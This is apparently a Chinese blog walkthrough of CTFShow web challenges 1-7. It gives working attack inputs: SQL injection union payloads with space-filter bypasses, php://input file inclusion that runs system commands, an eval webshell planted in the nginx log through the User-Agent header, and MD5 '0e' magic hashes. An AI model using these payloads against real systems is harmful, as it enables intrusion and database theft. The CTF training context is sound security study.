CTFShow web1-7——CTF秀WEB模块解题思路

2023-11-20

CTFShow WEB模块详细通关教程, 受篇幅所限, 通关教程分为上下两部分, 第一部分为1-7关, 第二部分为8-14关, 本篇博客为1-7关的通关教程, 从解题思路和原理剖析两个方面进行讲解

解题思路

CTFShow web签到题

这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到 flag

在这里插入图片描述在这里插入图片描述

CTFShow web2

第二关是一个SQL注入漏洞, 注入点为单引号字符型注入, 页面有显示位, 推荐使用联合注入, 这一关没有对用户输入的参数进行过滤, 难度相对较低

在这里插入图片描述
第一步, 判断注入点
用户名输入以下payload, 使SQL恒成立, 密码不用输

a' or true #

页面正常显示, 并且展示了登录成功后的用户名
在这里插入图片描述
接下来, 在用户名输入以下payload, 使SQL恒不成立, 密码还是不用输

a' or false #

页面空显示, 原来显示用户名的地方, 现在为空了, 这是因为我们输入的参数拼接到SQL中执行时, 使SQL变得横不成立, SQL查询不到用户的信息, 自然会空显示
在这里插入图片描述
由以上结果可知, 用户可以通过参数来控制SQL语句的执行结果, 故而存在SQL注入漏洞, 并且注入点为单引号字符型注入, 由于页面中有显示位( SQL查询的结果会在页面的固定位置显示), 推荐使用联合注入

第二步, 脱库
获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输

a' union select 1,database(),3 #

在这里插入图片描述
获取数据库web2中的表

a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #

在这里插入图片描述
获取表flag中的字段, 很明显flag就在flag表中

a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #

在这里插入图片描述
获取 flag

a' union select 1,(select flag from flag),3 #

在这里插入图片描述

CTFShow web3

第三关是一个文件包含漏洞, 推荐使用PHP://input伪协议进行任意代码执行

在这里插入图片描述
在url的参数中提交PHP伪协议

?url=php://input

在这里插入图片描述
使用代理工具( Burp Suite)抓包, 在POST请求体中输入需要执行的PHP代码, 比如执行系统命令:查看当前目录下的文件

<?php system('ls');?>

在这里插入图片描述
当前目录下有两个文件, 目测flag就在 ctf_go_go_go 文件中
在这里插入图片描述

接下来我们查看 ctf_go_go_go 文件, 获取 flag, url的参数中使用PHP伪协议

?url=php://input

在这里插入图片描述
使用代理工具( Burp Suite)拦截请求, 在POST请求体中传递需要执行的PHP代码

<?php system('cat ctf_go_go_go');?>

在这里插入图片描述
成功拿到 flag
在这里插入图片描述

CTFShow web4

第四关也是一个文件包含漏洞, 与第三关不同的是, 这一关过滤了PHP伪协议, 推荐使用日志注入

在这里插入图片描述
1.首先, 访问一下web服务器的日志文件( Nginx日志文件的默认位置是/var/log/nginx/access.log)

?url=/var/log/nginx/access.log

在这里插入图片描述
2.使用代理工具( Burp Suite)在请求头User-Agent的内容中插入后门

<?php eval($_POST['a']);?>

在这里插入图片描述
3.再次访问日志文件, 会发现新增了一条访问记录, 后门代码不会在页面中显示, 因为代码会被直接执行, 加下来我们使用蚁剑等工具链接后门即可
在这里插入图片描述
在这里插入图片描述
4.使用蚁剑的文件管理功能, 在网站根目录( www)下有一个 falg.txt, flag就在这个文件里面
在这里插入图片描述
在这里插入图片描述

CTFShow web5

第五关是一个MD5加密漏洞, 这一关需要传递两个参数, 如果两个参数的MD5值相等, 即可输出 flag, 推荐使用0e绕过

在这里插入图片描述
payload如下

?v1=QNKCDZO&v2=240610708

在这里插入图片描述

CTFShow web6

第六关是一个SQL注入漏洞, 注入类型为数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/**/ 或 括号() 来绕过

在这里插入图片描述
1.使用万能账号测试注入点
括号()绕过, 用户名输入以下payload, 密码不用输

a'or(true)#	

注释/**/绕过

a'/**/or/**/true/**/#

在这里插入图片描述
页面有显示位( 查询出来的用户在页面的固定位置展示), 推荐使用联合注入

2.脱库
获取当前数据库, 盲猜 flag 就在当前使用的数据库中, 用户名输入以下payload, 密码不用输

a'union/**/select/**/1,database(),3#

在这里插入图片描述
获取数据库中的表

a'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema='web2'),3#

在这里插入图片描述
获取表中的字段

a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web2'and/**/table_name='flag'),3#

在这里插入图片描述
获取 flag

a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

在这里插入图片描述

CTFShow web7

第七关也是一个SQL注入漏洞, 注入点是数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/**/ 或 括号() 来绕过

在这里插入图片描述
1.判断注入点

url地址栏中输入以下payload, 是SQL恒成立, 可以查询到所有文章内容, 由此可证明存在SQL注入

?id=-1/**/or/**/true

在这里插入图片描述
页面存在显示位( 文章标题和文章内容在固定位置展示), 推荐使用联合注入

2.脱库
获取当前数据库, url中输入以下payload

-1/**/union/**/select/**/1,database(),3

在这里插入图片描述
获取数据库中的表

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

在这里插入图片描述
获取表中的字段

-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"and/**/table_name="flag"),3

在这里插入图片描述
获取 flag

-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

在这里插入图片描述

原理剖析

解题过程中用到了两种文件包含漏洞的利用方式, 一种MD5加密的绕过方式, 一种SQL注入漏洞的绕过方式, 接下来, 针对这几种方式的实现原理解释一下

php://input伪协议

php://input伪协议是文件包含漏洞的一种利用方式, 在url的参数中使用伪协议时, 会将POST请求体中的内容当做文件来执行, 如果POST请求体中包含代码, 则代码会被正常执行, 从而造成任意代码执行, 具体使用情况参考web3的解题思路

日志注入

日志注入是文件包含漏洞的一种利用方式, web服务器的日志文件会保存网站的访问记录, 包括请求的源地址, 时间, 请求方式, User-Agent, Referer等HTTP请求头, 如果在这些请求头中插入代码, 则代码会被保存在web服务器的日志文件中, 当我们访问日志文件的时候, 文件中的代码则会被执行
本次用到了一个Nginx日志文件的默认路径:/var/log/nginx/access.log

MD5加密漏洞-0e绕过

md5()函数在加密时存在一些漏洞, 这主要是因为PHP在使用来比较字符串时, 如果字符串是以0e开头, 则会被当做科学计数法, 结果转换为0
比如web5中, 两个参数经过md5()函数加密后, 都是0e开头, 在参与PHP的
比较时, 都会转换为0, 结果会变成0=0, 从而使比较成立, 除了上面使用的两个值以外, md5()函数加密后以0e开头的值还有
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a

过滤空格的绕过方式

SQL注入漏洞中, 经常会面对各种各样的过滤, 上面遇到的过滤空格的情况, 有两种常用的绕过方式
1.注释/**/绕过
2.括号()绕过

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFShow web1-7——CTF秀WEB模块解题思路 的相关文章

  • 【计算机毕业设计】出租车管理系统

    现代经济快节奏发展以及不断完善升级的信息化技术 让传统数据信息的管理升级为软件存储 归纳 集中处理数据信息的管理方式 本出租车管理系统就是在这样的大环境下诞生 其可以帮助管理者在短时间内处理完毕庞大的数据信息 使用这种软件工具可以帮助管理人
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 基于java的学生宿舍管理系统设计与实现

    基于java的学生宿舍管理系统设计与实现 I 引言 A 研究背景和动机 基于Java的学生宿舍管理系统设计与实现的研究背景和动机 在数字化时代的推动下 学生宿舍管理系统已经成为了管理学生宿舍的重要工具 学生宿舍管理系统能够帮助管理者更好地管
  • 电商数据api拼多多接口获取商品实时数据价格比价api代码演示案例

    拼多多商品详情接口 接口接入入口 它的主要功能是允许卖家从自己的系统中快速获取商品详细信息 通过这个接口 卖家可以提取到商品的各类数据 包括但不限于商品标题 价格 优惠价 收藏数 下单人数 月销售量等 此外 还可以获取到商品的SKU图 详情
  • 网络安全(黑客)自学

    1 网络安全是什么 网络安全可以基于攻击和防御视角来分类 我们经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 2 网络安全市场 一 是市场需求量高 二 则是发展相对成熟入门比较容易 3 所需要的
  • 深入了解 Python MongoDB 查询:find 和 find_one 方法完全解析

    在 MongoDB 中 我们使用 find 和 find one 方法来在集合中查找数据 就像在MySQL数据库中使用 SELECT 语句来在表中查找数据一样 查找单个文档 要从MongoDB的集合中选择数据 我们可以使用 find one
  • 【计算机毕业设计】电影播放平台

    电影播放平台采用B S架构 数据库是MySQL 网站的搭建与开发采用了先进的java进行编写 使用了springboot框架 该系统从两个对象 由管理员和用户来对系统进行设计构建 主要功能包括 个人信息修改 对用户 电影分类 电影信息等功能
  • 【计算机毕业设计】二手图书交易系统

    随着世界经济信息化 全球化的到来和互联网的飞速发展 推动了各行业的改革 若想达到安全 快捷的目的 就需要拥有信息化的组织和管理模式 建立一套合理 动态的 交互友好的 高效的二手图书交易系统 当前的信息管理存在工作效率低 工作繁杂等问题 基于
  • 【计算机毕业设计】白优校园社团网站的设计与实现

    近些年 随着中国经济发展 人民的生活质量逐渐提高 对网络的依赖性越来越高 通过网络处理的事务越来越多 随着白优校园社团网站的常态化 如果依然采用传统的管理方式 将会为工作人员带来庞大的工作量 这将是一个巨大考验 需要投入大量人力开展对社团
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如
  • 【无标题】

    大家都知道该赛项的规程和样题向来都是模棱两可 从来不说具体的内容 导致选手在备赛时没有头绪 不知道该怎么训练 到了赛时发现题目和备赛的时候完全不一样 那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程 帮助选手们指明方
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全

随机推荐

  • 【PAT】B1032 挖掘机技术哪家强 (20 分)_C语言实现

    1 挖掘机技术哪家强 20 分 为了用事实说明挖掘机技术到底哪家强 P A T PAT PAT 组织了一场挖掘机技能大赛 现请你根据比赛结果统计出技术最强的那个学校 输入格式 输入在第 1
  • 诡异至极的SQL Server推送数据到MQ日期早48小时的生产问题排查

    背景 应用迁移 即旧版应用下线 新版应用上线 停掉旧版应用里面的quartz任务 开启新版的xxl job调度任务 数据推送源头是SQL Server 目的地是MQ 问题爆出 今天iview的自动导出任务从老系统迁移到新系统 下午2点40
  • 【设计模式】工厂模式(Factory Pattern)

    1 概述 工厂模式 Factory Pattern 是最常用的设计模式之一 它属于创建类型的设计模式 它提供了一种创建对象的最佳方式 在工厂模式中 我们在创建对象时不会对客户端暴露创建逻辑 并且是通过一个共同的接口来指向新创建的对象 工厂模
  • docker入门

    Docker基础 docker保姆级教程 https github com yeasy docker practice blob master SUMMARY md Docker系统有两个程序 docker服务端和docker客户端 其中d
  • 安装并配置HBase集群(5个节点)

    安装并配置HBase 集群规划 HBase2 2 5安装 将安装包拷贝到5台机器上并解压缩 配置环境变量 配置HBase 时间同步 修改 usr local src hbase 2 2 5 conf hbase env sh 文件 修改 h
  • SitePoint播客#61:HTML5 =厨房水槽

    Episode 61 of The SitePoint Podcast is now available This week your hosts are Patrick O Keefe iFroggy Stephan Segraves s
  • AWS动手实验 - 创建一个Web3网站

    实验操作和录播 亚马逊云科技开发者社区 web3 dApp demo README CN md at main Chen188 web3 dApp demo GitHub 注意事项 按照操作手册进行即可 需要注意到的几个地方 1 EC2 的
  • C#使用Socket建立连接、通信,主动发送Close关闭, 随后进行下一次的连接,此时会出错,通信端口被占用

    C 使用Socket建立连接 通信之后 主动发送Close关闭 随后进行下一次的连接 此时会出错 通信端口被占用 当你关闭一个Socket连接后 操作系统会在一段时间内保持该端口处于TIME WAIT状态 在这个状态下 该端口是不可用的 直
  • Qt数据类型与强制转换(转)

    类型转换 把QString转换为 double类型 方法1 QString str 123 45 double val str toDouble val 123 45 方法2 很适合科学计数法形式转换 bool ok double d d
  • java源文件命名规则

    Java程序源文件的命名不是随意的 Java文件的命名必须满足如下规则 Java程序源文件的扩展名必须是 java 不能是其他文件扩展名 在通常情况下 Java程序源文件的主文件名可以是任意的 但有一种情况例外 如果Java程序源代码里定义
  • SpringMVC加载流程

    这节介绍SpringMVC SpringMVC是一种基于Java的实现MVC设计模式的请求驱动类型的轻量级Web框架 本章会介绍相关概念 流程 再从源码进行讲解 1 MVC MVC Model View Controller 是一种软件设计
  • Zookeeper(三)—分布式锁实现

    一 独占锁原理 独占锁是利用zk同一目录下不能创建多个相同名称的节点这个特性 来实现分布式锁的功能 竞争锁的分布式系统 都在zk根目录下创建一个名为lock的节点 创建节点成功的系统 说明抢到了这把锁 没有创建成功的系统 说明这个节点已经被
  • 星星之火-22: 什么是手机小区重选?跳槽

    小区重选 cell reselection 指手机在空闲模式下 通过监测邻区和当前小区的信号质量以选择一个最好的小区提供服务信号的过程 选择了一家新公司 并不意味着永久待在一家公司 当前服务的公司 有可能由于经营状况变变糟 薪资水平下降 也
  • 【树莓派4B】darknet-nnpack的安装及使用

    文章目录 前言 步骤 1 下载依赖项 2 安装NNPACK darknet 3 下载darknet nnpack 4 使用YOLO进行预测 检测图像 检测视频 检测视频流 错误处理 make 时报错 undefined reference
  • (二)webpack-server

    宗旨 为了更好的开发和调试 1 package json npm init y 生成package json 2 安装server npm install webpack dev server D 3 修改配置 在package json文
  • canvas绘制一个圆分成六等分颜色随机

  • 基于FPGA的AHT10传感器温湿度读取

    文章目录 一 系统框架 二 i2c接口 三 i2c控制模块 状态机设计 状态转移图 START INIT CHECK INIT IDLE TRIGGER WAIT READ 代码 四 数据处理模块 串口 代码 五 仿真 testbench设
  • vue:实现锚点双向滚动/文章章节联动滚动效果

    文章目录 需求描述 实现思路 示例代码 参考网址 需求描述 需要实现类似doc中文档大纲的效果 点击对应章节的名称时定位到相应的正文 而当正文滚动时 高亮显示对应的章节名称 实现思路 其实笔者一开始想到的是利用a标签页内跳转 也就是 锚点
  • pandas学习笔记--增加行或列

    一 增加行 1 loc 想增加一行 行名称为 5 内容为 16 17 18 19 df loc 5 16 17 18 19 后面的序列是Iterable就行 2 at df at 5 16 17 18 19 3 set value df s
  • CTFShow web1-7——CTF秀WEB模块解题思路

    CTFShow WEB模块详细通关教程 受篇幅所限 通关教程分为上下两部分 第一部分为1 7关 第二部分为8 14关 本篇博客为1 7关的通关教程 从解题思路和原理剖析两个方面进行讲解 CTFShow web1 7关详细教程 解题思路 CT